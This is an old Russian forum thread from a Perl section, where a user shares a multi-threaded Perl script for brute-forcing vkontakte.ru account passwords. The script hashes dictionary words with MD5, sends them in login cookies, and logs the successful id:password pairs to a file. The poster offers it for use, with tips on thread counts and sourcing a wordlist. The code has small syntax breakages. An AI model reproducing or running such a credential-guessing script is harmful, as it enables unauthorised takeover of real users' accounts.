Компьютерный форум NoWa.cc Здесь может быть Ваша реклама
Правила Форума
редакция от 22.06.2020
Портал .::2BakSa.WS::.
Вернуться   Компьютерный форум NoWa.cc > В помощь вебмастеру > Веб - Программирование > Perl

Приобретайте Windows и Office на Зимней распродаже, цены стартуют от $7,4!
Холодная зима в самом разгаре и выходить на улицу достаточно сложно. А в сочетании с влиянием COVID-19, покупки через Интернет и работа из дома становятся предпочтительным выбором для всё большего числа людей. 
Почувствуете тепло Keysfan в холодные зимние месяцы. Если вы пропустили рождественские и новогодние распродажи, все самые популярные товары и по супернизким ценам вы найдёте в рамках этой замечательной Зимней распродажи. Цены на операционные системы и офисное программное обеспечение Microsoft снижены до самых низких приделов. Среди них классическая Windows 10 всего за $7.43. Если вы хотите лучше справляться с работой дома с помощью новейшей ОС и офисных программ, то Windows 11 + Office 2021 - отличный выбор. Для получения более подробной информации о скидках, пожалуйста, ознакомьтесь с информацией ниже.
keysfan.comУзнать подробнее
Все самые горячие предложения по самым низким ценам: Windows 11, Office 2021, Windows 10, Office 2019.
Ответ
 
Опции темы Поиск в этой теме Опции просмотра Language
Старый 23.03.2009, 21:15   #1
Неактивный пользователь
 
Пол:Мужской
Регистрация: 23.03.2009
Сообщений: 3
Репутация: 0
По умолчанию kontakt

vot mozh komu prigoditsya) potoki menaite v zavisimosti ot mashini, slovarik delaite po antichatu
######################################
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt';
$id = ;
$mail = '@inbox.ru';
$threads = 1;
$size=10;
######################################

open (F1, "$dic");

Next:
for ($i=0;$i<$size;$i++){
$pass[$i] = <F1>;
}
chomp @pass;
#print "@pass//////\n";


for(0..$threads) {
$trl[$_] = threads->create(\&Brut, $_);
}
for(@trl) { $_->join; }

sub Brut{

while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n"."Host: vkontakte.ru\r\n"."Accept: */*\r\n"."Content-Type:application/x-www-form-urlencoded\r\n"."User-Agent: Mozillo\r\n"."Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n"."Connection: close\r\n\r\n";

$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;
ipxodi вне форума
 
Ответить с цитированием Вверх
Здесь может быть Ваша реклама


Реклама: купить стеклянный журнальный столинтернет магазин качелиречной круиз на 4 днямдф 12 ммлайтбокс световой


Ответ
Уважаемые пользователи nowa.cc и 2baksa.ws. У нас сложилось тяжелое финансовое положение. Мы работаем для вас вот уже более 15 лет и сейчас вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney WMZ: 826074280762 Webmoney WMR: 146037758184 Webmoney WMP: 209123518174 Webmoney WME: 804621616710
PayPal PayPal_Email E-mail для связи по вопросу помощи
Кошелек для вашей помощи YooMoney 410013204813773
YooMoney Спасибо за поддержку!

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 19:36. Часовой пояс GMT +3.


Copyright ©2004 - 2022 2BakSa.WS

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2022, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.14439 секунды с 12 запросами